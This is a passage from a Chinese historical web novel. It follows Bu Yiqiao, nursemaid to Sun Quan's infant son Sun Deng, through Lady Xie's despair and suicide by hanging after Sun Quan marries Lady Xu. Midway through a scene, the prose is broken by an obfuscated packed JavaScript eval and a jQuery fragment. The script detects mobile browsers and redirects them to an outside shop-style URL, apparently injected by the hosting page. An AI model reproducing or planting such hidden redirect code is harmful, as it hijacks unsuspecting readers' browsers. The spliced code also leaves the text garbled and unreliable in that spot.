孙权跪在地上，佝偻着背脊。
“母亲，她不是侍婢，亦非寻常女子。若无她筹谋，兄长——”
“住嘴！不许提伯符的额名字！”吴夫人厉声打断。
这时，产房内忽传出一声嘹亮婴啼。
门开了，稳婆抱着襁褓快步走出，满脸堆笑：“恭贺主公，恭贺老夫人！是位小公子，母子平安！”
吴夫人伸手接过裹在锦缎中的婴孩。孩子闭着眼，眉宇间依稀已有孙家的轮廓。
她凝视良久，才叹道：“……取名了吗？”
孙权仍跪着，抬起头：“儿子早已想好，名为登。孙登。”
吴夫人指尖轻抚过婴儿细嫩的脸庞，沉默半晌。
“此子，即为我孙氏嫡长子，谢氏所出。一应乳母仆役，皆称‘大公子’。份例规制，皆按嫡长。”
她将孩子交还稳婆，目光再次落向产房：
“产后需静养。西厢那间空屋，收拾出来，让她搬进去罢。”
“母亲……”
“今日破例，你进去陪她片刻。”
“……多谢母亲。”
*
产房内尚有未散的血气，步一乔半倚在榻上，额发被汗水浸透，一缕缕贴在颊边。听见脚步声，她微微抬眼。
“仲谋……好痛啊……”
“是我不好，没能陪在你身边。”
按规矩，男子不得入产房。方才她只能攥着那根从房梁垂下的粗麻绳，一个人熬过所有。
孙权在榻边坐下，拨开她遮挡视线的碎发：“辛苦夫人了。”
“你看……我真没想到人出生时这么小一只……为什么这么小会那么痛呢？我差点以为要挂了……”
小小的孙登依偎在她怀中，安静地吮吸着。
孙权凝视着这一幕，低声道：“往后，不会再让你受这样的苦了。”
“别说傻话……若我说还想再要一个女儿，你难道不许么？”
“不喜欢孩子的人，会说这样的话？”
“……也是。”
步一乔轻轻笑了，将脸颊贴近婴孩柔软的发顶。
“果然小孩子还是安安静静比较可爱。”
“你也可爱。”孙权拿着布巾替她擦拭，“比任何时候，都可爱。”
步一乔侧过身，小心翼翼地将孙登送入他怀中。
“吴夫人……都安排妥了？”
“嗯。”孙权接过孩子，“与你的打算，分毫不差。”
记在谢氏名下，为孙氏嫡长。而她，则以乳母的身份留在府中，伴他成长。
自然，也只是暂时的。
待时日再久些，徐氏嫁入孙府，这孩子终会交予下一位的正室抚养。
步一乔极低地苦笑了一声，伸手揉了揉孙登温热的小脸蛋。
“是该这样。嫡长子的名分，比我这个生母重要。抱歉孩子，别怪我无情……”
襁褓中的孙登似有所觉，轻轻动了动。
*
这一年里，孙权待谢夫人并不算冷淡。平日问安探望、一应礼数皆全，与寻常相敬如宾的夫妻并无二致。
只是，从不留宿罢了。
谢夫人本就是个心思深重的人。夜夜独对空帷，竟渐渐生出幻影，总在深夜里与虚空中幻化出的“夫君”低语共枕。
可真当孙权难得开口说“今夜我陪你”，她又会惶然推开，喃喃道：“不……你不是他。”
这般病症，只在入夜后发作。白日的谢夫人依然端庄得体，言行举止与常人无异。
孙登的情况日渐安稳，也到了该将他送往谢夫人房中的时候。
步一乔低头看着怀中熟睡的孩子，理了理襁褓的边角。刚吃过奶，孙登的小脸泛着浅浅的红晕。
“谢夫人也是可怜人，好好陪在她身边。陪她走完……这最后一程。”
吴夫人亲自来抱走了孙登，步一乔站在廊下，看着走远的孩子，没有追上去的冲动，也没有哭。
“黄初二年，孙权封号吴王，孙登为王太子……黄武四年，娶周瑜之女……赤乌四年病故，年仅三十三岁……”
又是史书里寥寥数行。
又是一段早折的命数。
步一乔的手轻轻按在自己空下去的小腹上。掌下平坦寂静，却恍然又触到那十个月里，温柔的胎动，温热的生长。
她忽然再站不住，身子顺着廊柱滑落，跌坐在冰冷的石阶上。蜷起身子，把脸埋进膝间。
原来心脏不是不痛。
只是痛来得太迟，又太深，深到要用全身的力气才能撑到无人看见的此刻，才能纵容自己塌垮这一回。
*
谢夫人的院子，从此多了婴孩的啼哭。
说来也奇，孙登平日在步一乔怀中总是安静乖巧，到了谢夫人房里，却时常夜啼不止。乳母仆妇轮番哄抱，总不见效。
唯有谢夫人亲自接过，哭声才会渐渐歇下。
她抱着孩子，爱哼吴歌给他听。唱词写给远行再也无法归来的爱人，而这歌声也将她心爱之人，日日唱来。
孙权常去她房中陪同，孙登的到来，的确让谢夫人的病症好了许多。
直到……她的出现。
*
【建安六年，六月】
孙权迎娶徐氏。
徐氏家族在江东颇具影响力，尤其是徐琨为孙坚旧部，此婚姻可强化与江东武将集团的关系。
尽管这位，是他表侄女。
大婚前三日，孙权踏进谢夫人房中。
“徐氏入门后，你居次席。”
谢夫人正抱着孙登哼歌，手指蓦地一顿。
怀中婴孩似乎察觉了什么，不安地扭动起来。
“为何？”
“徐氏出身名门，可为正室。这也是母亲的意思。”
“从古至今，何尝有过正妻让位之说！仲谋你……难道要弃我如敝履么？”
“非是弃你。一切该以江东大局为重。”
“我不应！死也不应！”
“此事已定。三日后，徐氏入府。你若懂事，便体面些。”
孙权决绝起身，谢夫人转身放下孩子，扑上前攥住他的衣袖，双膝跪地。
“仲谋不要……我不要做妾！”
他闭了闭眼，终是将她的手一寸寸拂开，转身离去。
“仲谋——！仲谋你回来……不要丢下我……我不要做妾……我想做你一辈子的妻……”
孙登也哭了，交叠的哭声追着他远去的背影，散在空寂的院落里。
步一乔一直立在门外，待孙权走远，才悄声踏入室内。她俯身抱起哭闹的孙登，带到偏厅安抚。直到孩子啜着母乳渐渐安静下来，她才将他重新送回谢夫人怀里。
“别哭了。”
孩子被轻轻塞进谢夫人怀中，也止住了她的哭声。
“我早说过，男人而已，不值得。况且，如今你有登儿了，不好么？”
“……你不懂。”
“我的确不懂。但我知道，你若再继续折磨自己，可就真没了。”
“没了便没了……没有仲谋，有登儿又如何？不能做他的妻……他便会将我忘得一干二净，从此再没有我这个人。从前虽也没有我，但我是妻，他终究不能没有我……可若成了妾，我算什么呢？……我什么都不是了。”
*
徐夫人入府那日，锣鼓喧天。
谢夫人没有出现。她将自己锁在房中，不知休止地唱。歌声穿透门扉，幽咽如鬼泣。
步一乔没去婚宴，而是去了谢夫人厢房。当她推开那扇虚掩的门时，歌声停了。
屋内没有点灯，只有窗外透进的、被红绸映得发暗的天光。谢夫人坐在妆台前，背对着门，一头长发散着，铜镜里映出她苍白的脸。
孙登含着手指，安静地睡在摇篮里。
“他穿喜服的模样……好看么？一年前好看，还是今日好看？”
步一乔走到她身后，道：“一年前我没看，今日也没看。”
谢夫人低低笑了：“你总是这样……清醒得让人讨厌。”
“不清醒，难道陪你一起疯？”
“到底是谁疯啊……辛苦生下的孩子说给就给，心爱的男人娶妻纳妾也不吵不闹……”
谢夫人回眸看向步一乔。
“你好可怕。”
步一乔一副无所谓的样子，拿起梳子，梳理她散乱的长发。
谢夫人却忽然攥住步一乔的手腕：“你告诉我……怎样才能像你这样，把心挖出来，还能活着？”
梳子停在半空。
步一乔垂眼看着她颤抖的手指，缓缓道：“心不是挖出来的。是有人一刀一刀，慢慢剜走的。”
“那你不疼吗？”
“疼啊。可疼着疼着，就发现，原来剜空了的地方，能装进更重要的东西。”
比起这群夫人，步一乔眼中只有历史。
窗外，大婚的喜炮映亮了半面窗棂。红光漫进屋里，把谢夫人脸上的泪痕照得清清楚楚。她望向摇篮，喉间溢出一声呜咽。
“你知道吗……昨夜我梦见……我掐死了登儿。”
步一乔的梳子落回妆台，问：“然后呢？”
“然后我抱着他小小的身子，去敲仲谋的门。我说你看，现在什么都没有了……你能不能，只看着我一个人？”
“梦是反的。你舍不得。而且，你若真这么做了，我会先杀了你。”
谢夫人怔怔望着她，忽然吃吃地笑起来，越笑越癫，眼泪却淌得更凶。
“杀我？你凭什么杀我？凭你是个连名字都不能有的乳母？还是凭仲谋偶尔施舍给你的那点榻上温存？”
步一乔没有动怒，反而俯身拾起梳子，绕到谢夫人面前，用梳齿抬起她的下巴。
“凭我比你清醒。也凭我知道，若登儿真有半点损伤，不用我动手，孙家随便谁，都会先我一步要了你的命。”
“你闭嘴——！”
谢夫人咆哮着猛地挥开梳子，梳子撞在妆奁上，发出刺耳的脆响。摇篮里的孙登被惊醒，哇地哭出声。
步一乔转身抱起孩子，轻拍他的后背。
“登儿别怕，没事儿，娘亲在这儿。”
那声“娘亲”轻飘飘地落下，身后那个濒临崩溃的女人，彻底崩溃。
“你骗我……”
“我骗你什么？”
“你说仲谋不举，说仲谋与你清清白白！”
“是么，那不好意思，骗了你。忘了跟您说，我这辈子最擅长的事之一，就是撒谎不脸红。”
步一乔向前半步，将哭累睡去的孙登放回摇篮，然后直起身，对着谢夫人绽开一个毫无温度的笑。
“试问，哪个男人能忍受自己硬不起来？”
谢夫人盯着她，低低笑起来，带着痰音和血沫似的嘶哑。
“好啊……真好……我当他真是个君子，原来也不过是……”
她没说完，猛地咳嗽起来，咳得整个身子佝偻下去，像是要把五脏六腑都呕出来。
步一乔静静看着她，从袖中抽出条干净帕子给她擦去唇周的血。
“我早跟你说过，男人，不值得。”
“一面说这种话，一面跟仲谋深情厮守，你良心不痛吗！”
“这话是跟你说的。孙权是我的，于我而言，做什么都值得。于你，不值得。我也是为好，想开一点吧。”
谢夫人脸上最后一点血色，彻底褪尽。
“你出去……我不想再听多废话一句……”
“外头正在办婚宴，我不想出去。”
“你——”谢夫人提起的一口气又松懈下去，“为何这么对我……因为恨我吗？我偷了你的绣帕，跟母亲告密，害你差点被杀？”
“在你眼里，我所做的一切，是因为恨吗？”
步一乔走到她跟前蹲下。
“你看看你现在的样子，我若真丢你一个人在此，你会做什么？”
谢夫人没有回答，只是死死盯着虚空某处，瞳孔涣散。
步一乔忽然意识到，自己或许逼得太紧了。她本是为阻拦谢夫人而来，可字句像刀刃，将人最后一点支撑也削断了。
静了片刻，她起身走到摇篮边，将睡醒了在吃手指的孙登抱起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028412|185506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走回谢夫人面前，将孩子放进她怀里。
“登儿你看，母亲哭了，安慰一下好不好呀？”
孙登眨了眨小眼睛，伸出小手抓住谢夫人散落的一缕头发。咿咿呀呀不成句，但却似在安慰。
“母……亲？”
“这半年你一把屎一把尿将他照顾得这样好，可比大多数母亲称职多了。”
谢夫人低头，看着怀中无知无觉的小脸，眼泪一颗颗砸在襁褓上。
“恨也好，爱也罢，都是你一个人的事。可这孩子……你真舍得丢下他，让他这么小，便尝分离的滋味么？”
谢夫人更紧地抱住怀里的孙登，将脸贴在他温软的小小身躯上。
窗外，婚宴的喧闹声浪一阵高过一阵。唢呐笙箫，觥筹交错，隔着门窗传来，模糊得如同隔世。
步一乔静静看着。
她清楚自己的能耐，也明白人心，是何等的脆弱。
浪潮阻止不了寻找仙山的船。
就像她，终究阻止不了一个早已决定赴死的人。
*
次日，天未明透。
步一乔推开谢夫人的厢房。
晨光熹微中，一道悬影静静挂在梁下。
而摇篮里，孙登睡得正酣，对这人世最初的离别，一无所知。
她在门槛边静立了片刻，走进去，扶起倒地的凳子，踩上去，将绳索割断，将人抱下来。
步一乔将谢夫人平放在榻上，伸手合拢她圆睁的眼。又替她理了理散乱的衣襟，将那双冰凉的双手交叠在胸前。
摇篮里传来细微的响动。孙登醒了，正舞着小手咿呀作声。
步一乔走过去，俯身将他抱起。孩子在她怀中蹭了蹭，闻着熟悉的味道，欣喜地咯咯笑。
“……也是解脱了。”
*
府里很快便传遍了谢夫人“急病暴卒”的消息。但因撞上红事，白事只得暂且推迟，静悄悄停灵在后院偏厢。
六月，吴郡差不多入夏。幸而厢房阴暗，这些日子没散出什么味道。
待徐氏三朝回门后，吴夫人才亲自操持起丧仪。一切从简，却仍维持着正室应有的体面。
棺木出府那日，孙权立在阶前，望着那具黑漆棺椁被抬出侧门，脸上看不出悲喜。
步一乔抱着孙登站在不远处。孩子似乎感应到什么，突然啼哭起来。她轻轻拍着他的背，哼起谢夫人常唱的那支歌。
虽不完整，孙登倒是慢慢静下来。
孙权闻声转过头。隔着庭院，目光与步一乔短暂相接。
他在担心，担心步一乔日后也会走上相同的道路。他心底清楚，谢氏与她不同，但……不免忧虑。
他又想起早年听过的童谣：“新妇来，旧妇埋，朱门年年换裙钗。”
拢共十位夫人。
如今，还剩八位。
那，步一乔呢？
八位，八百位，都无所谓。她唯一胆怯的，只有那个与她长相相似，内里截然不同的女子。
那个史书上，孙权钟爱一生之人。
*
【谢夫人下葬次日】
“你便是乳母一乔？”
室内，徐夫人正坐在窗下为吴夫人缝制衣裳，见步一乔进来，并未抬眼。
“登儿在里边，你自己去罢。”
“是。”
史记，徐夫人受孙权所托抚育孙登，孙登自小便对这位养母怀抱孺慕之情。
可步一乔总觉得，这位夫人似乎对孩儿并不上心。
“徐夫人，奴婢有一问，不知当不当讲。”
“说罢。”
“夫人是……不喜欢大公子吗？”
徐夫人终于停了针线。她抬起脸，一张温婉端丽的容颜，眉目间俱是江南女子特有的柔润。可开口——
“别人生的孩子，我为何要喜欢？”
这种表里不一的温婉，让步一乔忽地想起谢夫人。相似的温婉、端庄，最终皆被嫉妒葬送了一生。
步一乔沉默片刻，竟点了点头：“夫人说的是。”
徐夫人有些意外，抬眼看她，唇边浮起浅笑：“你倒不替这孩子委屈？”
“奴婢只是乳母，有何资格委屈。况且夫人说得在理，不是自己肚里出来的，哪来的情分？”
“早听闻你口齿伶俐得很，才识不输半数文臣，看来是真的。”
“夫人过誉。奴婢不过是照实说话。”
“所以，为何有此疑问？是想劝我，善待这刚刚丧母的可怜孩子？”
“一乔深知夫人会善待大公子。毕竟，这是主公亲自交托给您的人。”
步一乔迎上徐夫人含笑却无温度的视线。
“夫人不会让主公失望的，对吧？”
“好伶俐的一张嘴。”徐夫人将绣绷搁在案上，“我也是对你与主公之事有所耳闻，母亲还叮嘱我，得谨防着你。”
“奴婢有什么可谨防的？”
“自然是谨防你……勾引仲谋。”
徐夫人起身，缓步走到步一乔面前。
“我眼下是看在你是长子乳母的份上，暂且容你。可你须明白，我可不是谢氏。真被我发现什么——”
温婉的笑意终于从她眼底彻底褪去，露出底下寒光。
“我可不会关起门来折磨自己，而是让你，生不如死。”
她等着看眼前这婢女惊慌失措的模样。
没曾想，步一乔却笑了。
“夫人教训得是，奴婢记下了。也还请夫人日后对大公子多费些心。您待他越好，主公对您，自然也会越上心。”
“不用你说，我自会待这孩子好。纵是没有他，仲谋待我自会偏爱宠幸。”
步一乔含笑行礼：“那便有劳夫人了。”
正欲入室哺乳时，徐夫人忽又叫住她。
“且慢。我早年便听闻，仲谋心里一直搁着个人，说是近年寻着了，就在吴郡。你可知是谁？”
“回夫人，奴婢知道。且那人，就在这府中。”
“就在府里？！是谁？”
步一乔回眸。
“就是我呀。”